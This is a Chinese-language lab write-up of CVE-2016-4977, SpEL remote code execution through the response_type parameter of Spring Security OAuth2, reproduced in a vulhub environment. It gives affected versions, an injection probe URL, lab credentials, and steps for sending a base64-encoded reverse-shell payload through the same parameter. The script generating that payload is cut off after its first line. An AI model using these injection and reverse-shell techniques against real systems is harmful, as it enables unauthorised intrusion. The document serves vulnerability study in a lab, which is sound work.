漏洞原理
Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞
环境搭建
使用vulhub搭建漏洞环境
1 | cd /vulhub/spring/CVE-2016-4977/ |
启动完成后,访问http://your-ip:8080/即可看到web页面。
影响版本
Spring Security OAuth 2.3到2.3.2
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.0到2.0.14
漏洞复现
访问http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
。首先需要填写用户名和密码,我们这里填入admin:admin
即可。
对反弹shell的POC进行base64编码
http://www.jackson-t.ca/runtime-exec-payloads.html
使用poc.py
生成反弹shell的POC:
1 | #!/usr/bin/env python |
监听反弹shell,并访问URLhttp://your-ip:8080/oauth/authorize?response_type=上面的那一长串POC&client_id=acme&scope=openid&redirect_uri=http://test